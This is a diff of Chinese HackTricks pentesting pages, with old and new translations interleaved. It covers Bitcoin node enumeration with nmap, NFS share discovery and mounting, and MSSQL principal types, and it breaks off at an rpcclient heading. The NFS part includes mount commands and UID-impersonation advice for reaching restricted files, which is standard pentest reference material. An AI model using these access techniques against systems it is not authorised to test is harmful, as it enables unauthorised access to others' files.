* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
* **端口8333**用于比特币**主网**中的节点之间通信。
|
||||
* **端口18333**用于比特币**测试网**中的节点之间通信。
|
||||
* **端口38333**用于比特币**签名网**中的节点之间通信。
|
||||
* **端口18444**用于比特币**regtest**(本地)中的节点之间通信。
|
||||
* **端口 8333** 用于比特币节点在 **主网** 之间的通信。
|
||||
* **端口 18333** 用于比特币节点在 **测试网** 之间的通信。
|
||||
* **端口 38333** 用于比特币节点在 **签名网** 之间的通信。
|
||||
* **端口 18444** 用于比特币节点在 **回归测试**(本地)之间的通信。
|
||||
|
||||
**默认端口:** 8333, 18333, 38333, 18444
|
||||
**默认端口:** 8333, 18333, 38333, 18444
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
8333/tcp open bitcoin
|
||||
```
|
||||
### Shodan
|
||||
|
||||
* `port:8333 比特币`
|
||||
* `port:8333 bitcoin`
|
||||
* `User-Agent: /Satoshi`
|
||||
|
||||
## 枚举
|
||||
## Enumeration
|
||||
|
||||
如果比特币节点认为你是另一个有效的比特币节点,它们会提供一些信息。**Nmap**有一些脚本可以提取这些信息:
|
||||
比特币节点会在认为你是另一个有效的比特币节点时提供一些信息。**Nmap** 有一些脚本可以提取这些信息:
|
||||
```
|
||||
sudo nmap -p 8333 --script bitcoin-info --script bitcoin-getaddr 170.39.103.39
|
||||
PORT STATE SERVICE
|
||||
|
@ -54,14 +57,17 @@ PORT STATE SERVICE
|
|||
| 75.128.4.27:8333 2022-04-02T08:10:45
|
||||
[...]
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,41 @@
|
|||
# 2049 - NFS服务渗透测试
|
||||
# 2049 - Pentesting NFS Service
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**NFS**是一个为**客户端/服务器**设计的系统,使用户能够无缝访问网络上的文件,就像这些文件位于本地目录中一样。
|
||||
**NFS** 是一个为 **客户端/服务器** 设计的系统,使用户能够像访问本地目录中的文件一样,无缝访问网络上的文件。
|
||||
|
||||
该协议的一个显著特点是其缺乏内置的**身份验证**或**授权机制**。相反,授权依赖于**文件系统信息**,服务器负责准确地将**客户端提供的用户信息**转换为文件系统所需的**授权格式**,主要遵循**UNIX语法**。
|
||||
该协议的一个显著特点是缺乏内置的 **身份验证** 或 **授权机制**。相反,授权依赖于 **文件系统信息**,服务器负责将 **客户端提供的用户信息** 准确转换为文件系统所需的 **授权格式**,主要遵循 **UNIX 语法**。
|
||||
|
||||
身份验证通常依赖于**UNIX `UID`/`GID`标识符和组成员资格**。然而,由于客户端和服务器之间**`UID`/`GID`映射**可能不匹配,因此服务器无法进行额外的验证。因此,该协议最适合在**受信任的网络**中使用,因为它依赖于这种身份验证方法。
|
||||
身份验证通常依赖于 **UNIX `UID`/`GID` 标识符和组成员资格**。然而,由于客户端和服务器之间可能存在 **`UID`/`GID` 映射的不匹配,** 服务器无法进行额外的验证,因此会出现挑战。因此,该协议最适合在 **受信任的网络** 中使用,因为它依赖于这种身份验证方法。
|
||||
|
||||
**默认端口**:2049/TCP/UDP(除了版本4,它只需要TCP或UDP)。 
|
||||
**默认端口**:2049/TCP/UDP(版本 4 除外,只需要 TCP 或 UDP)。
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### 版本
|
||||
|
||||
- **NFSv2**:这个版本以其与各种系统的广泛兼容性而闻名,最初主要通过UDP进行操作。作为系列中**最古老**的版本,它为未来的发展奠定了基础。
|
||||
- **NFSv2**: 该版本因其与各种系统的广泛兼容性而受到认可,标志着其在最初操作主要通过UDP进行的重要性。作为系列中**最旧**的版本,它为未来的发展奠定了基础。
|
||||
|
||||
- **NFSv3**:引入了一系列增强功能,NFSv3通过支持可变文件大小和提供改进的错误报告机制扩展了其前身。尽管有所进步,但它在与NFSv2客户端的完全向后兼容方面存在限制。
|
||||
- **NFSv3**: NFSv3引入了一系列增强功能,扩展了其前身,支持可变文件大小并提供改进的错误报告机制。尽管有了这些进步,但它在与NFSv2客户端的完全向后兼容性方面仍然存在局限。
|
||||
|
||||
- **NFSv4**:作为NFS系列中的一个里程碑版本,NFSv4带来了一系列旨在现代化网络文件共享的功能。值得注意的改进包括集成Kerberos以实现**高安全性**,能够穿越防火墙并在互联网上运行而无需端口映射器,支持访问控制列表(ACL),以及引入基于状态的操作。其性能改进和采用有状态协议使NFSv4成为网络文件共享技术中的重要进步。
|
||||
- **NFSv4**: NFS系列中的一个里程碑版本,NFSv4带来了旨在现代化网络文件共享的一系列功能。显著的改进包括集成Kerberos以实现**高安全性**,能够穿越防火墙并在不需要端口映射器的情况下通过互联网操作,支持访问控制列表(ACL),以及引入基于状态的操作。其性能增强和状态协议的采用使NFSv4成为网络文件共享技术中的一个重要进展。
|
||||
|
||||
每个NFS版本都是为了满足网络环境不断发展的需求而开发的,逐渐增强安全性、兼容性和性能。
|
||||
每个版本的NFS都是为了满足网络环境不断变化的需求而开发的,逐步增强了安全性、兼容性和性能。
|
||||
|
||||
## 枚举
|
||||
|
||||
|
@ -42,13 +45,13 @@ nfs-ls #List NFS exports and check permissions
|
|||
nfs-showmount #Like showmount -e
|
||||
nfs-statfs #Disk statistics and info from NFS share
|
||||
```
|
||||
### 有用的metasploit模块
|
||||
### 有用的 metasploit 模块
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### 挂载
|
||||
### Mounting
|
||||
|
||||
要知道服务器上有哪个文件夹可用于挂载,可以使用以下命令询问:
|
||||
要知道**哪个文件夹**可以被服务器**挂载**,你可以使用:
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
|
@ -56,22 +59,22 @@ showmount -e <IP>
|
|||
```bash
|
||||
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
```
|
||||
您应该指定**使用版本2**,因为它没有**任何** **身份验证**或**授权**。
|
||||
您应该指定**使用版本 2**,因为它没有**任何****身份验证**或**授权**。
|
||||
|
||||
**示例:**
|
||||
**示例:**
|
||||
```bash
|
||||
mkdir /mnt/new_back
|
||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## 权限
|
||||
|
||||
如果您挂载一个包含**只能被某个用户(通过UID)访问的文件或文件夹**的文件夹。您可以**在本地创建**一个具有该**UID**的用户,并使用该**用户**即可**访问**该文件/文件夹。
|
||||
如果你挂载一个包含**仅某些用户可访问的文件或文件夹**(通过**UID**)的文件夹。你可以**本地**创建一个具有该**UID**的用户,并使用该**用户**来**访问**文件/文件夹。
|
||||
|
||||
## NSFShell
|
||||
|
||||
要轻松列出、挂载和更改UID和GID以访问文件,您可以使用[nfsshell](https://github.com/NetDirect/nfsshell)。
|
||||
为了方便列出、挂载和更改UID和GID以访问文件,你可以使用[nfsshell](https://github.com/NetDirect/nfsshell)。
|
||||
|
||||
[不错的NFSShell教程。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
[很好的NFSShell教程。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## 配置文件
|
||||
```
|
||||
|
@ -80,21 +83,21 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
|||
```
|
||||
### 危险设置
|
||||
|
||||
- **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入操作。必须考虑授予此类广泛访问权限的影响。
|
||||
- **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入。授予如此广泛的访问权限时,必须考虑其影响。
|
||||
|
||||
- **使用不安全端口 (`insecure`):** 启用此选项后,系统可以利用高于1024的端口。这些范围之上的端口安全性可能较低,增加了风险。
|
||||
- **使用不安全端口 (`insecure`):** 启用后,系统可以使用1024以上的端口。此范围以上的端口安全性可能较低,增加风险。
|
||||
|
||||
- **嵌套文件系统的可见性 (`nohide`):** 此配置使得即使在导出目录下挂载了另一个文件系统,目录仍然可见。每个目录都需要自己的导出条目以进行正确管理。
|
||||
- **嵌套文件系统的可见性 (`nohide`):** 此配置使目录可见,即使在导出目录下挂载了另一个文件系统。每个目录需要自己的导出条目以便于管理。
|
||||
|
||||
- **根文件所有权 (`no_root_squash`):** 使用此设置,由根用户创建的文件将保持其原始的 UID/GID 为 0,不考虑最小权限原则,可能授予过多权限。
|
||||
- **根文件所有权 (`no_root_squash`):** 使用此设置,根用户创建的文件保持其原始UID/GID为0,忽视最小权限原则,可能授予过多权限。
|
||||
|
||||
- **不压缩所有用户 (`no_all_squash`):** 此选项确保用户身份在整个系统中保持不变,如果处理不当,可能导致权限和访问控制问题。
|
||||
- **所有用户不压缩 (`no_all_squash`):** 此选项确保用户身份在系统中得以保留,如果处理不当,可能导致权限和访问控制问题。
|
||||
|
||||
## 利用 NFS 配置错误进行权限提升
|
||||
## 利用NFS错误配置进行权限提升
|
||||
|
||||
[NFS no\_root\_squash 和 no\_all\_squash 权限提升](../linux-hardening/privilege-escalation/nfs-no\_root_squash-misconfiguration-pe.md)
|
||||
[NFS no\_root\_squash和no\_all\_squash权限提升](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
|
||||
|
||||
## HackTricks 自动命令
|
||||
## HackTricks自动命令
|
||||
```
|
||||
Protocol_Name: NFS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 2049 #Comma separated if there is more than one.
|
||||
|
@ -121,14 +124,17 @@ Name: Nmap
|
|||
Description: Nmap with NFS Scripts
|
||||
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,51 @@
|
|||
# MSSQL用户类型
|
||||
# MSSQL 用户类型
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
表格摘自[**文档**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16)。
|
||||
表格取自 [**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16)。
|
||||
|
||||
| 列名 | 数据类型 | 描述 |
|
||||
| 列名 | 数据类型 | 描述 |
|
||||
| ---------------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **name** | **sysname** | 数据库内唯一的主体名称。 |
|
||||
| **principal\_id** | **int** | 数据库内唯一的主体ID。 |
|
||||
| **type** | **char(1)** | <p>主体类型:<br><br>A = 应用程序角色<br><br>C = 映射到证书的用户<br><br>E = 来自Azure活动目录的外部用户<br><br>G = Windows组<br><br>K = 映射到非对称密钥的用户<br><br>R = 数据库角色<br><br>S = SQL用户<br><br>U = Windows用户<br><br>X = 来自Azure活动目录组或应用程序的外部组</p> |
|
||||
| **name** | **sysname** | 主体的名称,在数据库中是唯一的。 |
|
||||
| **principal\_id** | **int** | 主体的 ID,在数据库中是唯一的。 |
|
||||
| **type** | **char(1)** | <p>主体类型:<br><br>A = 应用程序角色<br><br>C = 映射到证书的用户<br><br>E = 来自 Azure Active Directory 的外部用户<br><br>G = Windows 组<br><br>K = 映射到非对称密钥的用户<br><br>R = 数据库角色<br><br>S = SQL 用户<br><br>U = Windows 用户<br><br>X = 来自 Azure Active Directory 组或应用程序的外部组</p> |
|
||||
| **type\_desc** | **nvarchar(60)** | <p>主体类型的描述。<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
|
||||
| **default\_schema\_name** | **sysname** | 当SQL名称未指定模式时要使用的名称。对于不是S、U或A类型的主体,为空。 |
|
||||
| **create\_date** | **datetime** | 创建主体的时间。 |
|
||||
| **modify\_date** | **datetime** | 上次修改主体的时间。 |
|
||||
| **owning\_principal\_id** | **int** | 拥有此主体的主体ID。所有固定数据库角色默认由**dbo**拥有。 |
|
||||
| **sid** | **varbinary(85)** | 主体的SID(安全标识符)。对于SYS和INFORMATION SCHEMAS为NULL。 |
|
||||
| **is\_fixed\_role** | **bit** | 如果为1,则此行表示固定数据库角色之一的条目:db\_owner、db\_accessadmin、db\_datareader、db\_datawriter、db\_ddladmin、db\_securityadmin、db\_backupoperator、db\_denydatareader、db\_denydatawriter。 |
|
||||
| **authentication\_type** | **int** | <p><strong>适用于</strong>:SQL Server 2012(11.x)及更高版本。<br><br>表示认证类型。以下是可能的值及其描述。<br><br>0:无认证<br>1:实例认证<br>2:数据库认证<br>3:Windows认证<br>4:Azure活动目录认证</p> |
|
||||
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>适用于</strong>:SQL Server 2012(11.x)及更高版本。<br><br>认证类型的描述。以下是可能的值及其描述。<br><br><code>NONE</code>:无认证<br><code>INSTANCE</code>:实例认证<br><code>DATABASE</code>:数据库认证<br><code>WINDOWS</code>:Windows认证<br><code>EXTERNAL</code>:Azure活动目录认证</p> |
|
||||
| **default\_language\_name** | **sysname** | <p><strong>适用于</strong>:SQL Server 2012(11.x)及更高版本。<br><br>表示此主体的默认语言。</p> |
|
||||
| **default\_language\_lcid** | **int** | <p><strong>适用于</strong>:SQL Server 2012(11.x)及更高版本。<br><br>表示此主体的默认LCID。</p> |
|
||||
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>适用于</strong>:SQL Server 2016(13.x)及更高版本,SQL数据库。<br><br>在批量复制操作中抑制服务器上的加密元数据检查。这使用户可以在不解密数据的情况下,在表或数据库之间批量复制使用Always Encrypted加密的数据。默认为OFF。</p> |
|
||||
| **default\_schema\_name** | **sysname** | 当 SQL 名称未指定架构时使用的名称。对于类型为 S、U 或 A 的主体为 Null。 |
|
||||
| **create\_date** | **datetime** | 创建主体的时间。 |
|
||||
| **modify\_date** | **datetime** | 最后修改主体的时间。 |
|
||||
| **owning\_principal\_id** | **int** | 拥有此主体的主体的 ID。所有固定数据库角色默认由 **dbo** 拥有。 |
|
||||
| **sid** | **varbinary(85)** | 主体的 SID(安全标识符)。SYS 和 INFORMATION SCHEMAS 的值为 NULL。 |
|
||||
| **is\_fixed\_role** | **bit** | 如果为 1,则此行表示一个固定数据库角色的条目:db\_owner、db\_accessadmin、db\_datareader、db\_datawriter、db\_ddladmin、db\_securityadmin、db\_backupoperator、db\_denydatareader、db\_denydatawriter。 |
|
||||
| **authentication\_type** | **int** | <p><strong>适用于</strong>:SQL Server 2012 (11.x) 及更高版本。<br><br>表示身份验证类型。以下是可能的值及其描述。<br><br>0 : 无身份验证<br>1 : 实例身份验证<br>2 : 数据库身份验证<br>3 : Windows 身份验证<br>4 : Azure Active Directory 身份验证</p> |
|
||||
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>适用于</strong>:SQL Server 2012 (11.x) 及更高版本。<br><br>身份验证类型的描述。以下是可能的值及其描述。<br><br><code>NONE</code> : 无身份验证<br><code>INSTANCE</code> : 实例身份验证<br><code>DATABASE</code> : 数据库身份验证<br><code>WINDOWS</code> : Windows 身份验证<br><code>EXTERNAL</code>: Azure Active Directory 身份验证</p> |
|
||||
| **default\_language\_name** | **sysname** | <p><strong>适用于</strong>:SQL Server 2012 (11.x) 及更高版本。<br><br>表示此主体的默认语言。</p> |
|
||||
| **default\_language\_lcid** | **int** | <p><strong>适用于</strong>:SQL Server 2012 (11.x) 及更高版本。<br><br>表示此主体的默认 LCID。</p> |
|
||||
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>适用于</strong>:SQL Server 2016 (13.x) 及更高版本,SQL 数据库。<br><br>在批量复制操作中抑制服务器上的加密元数据检查。这使用户能够在表或数据库之间批量复制使用 Always Encrypted 加密的数据,而无需解密数据。默认值为 OFF。</p> |
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# rpcclient枚举
|
||||
# rpcclient enumeration
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
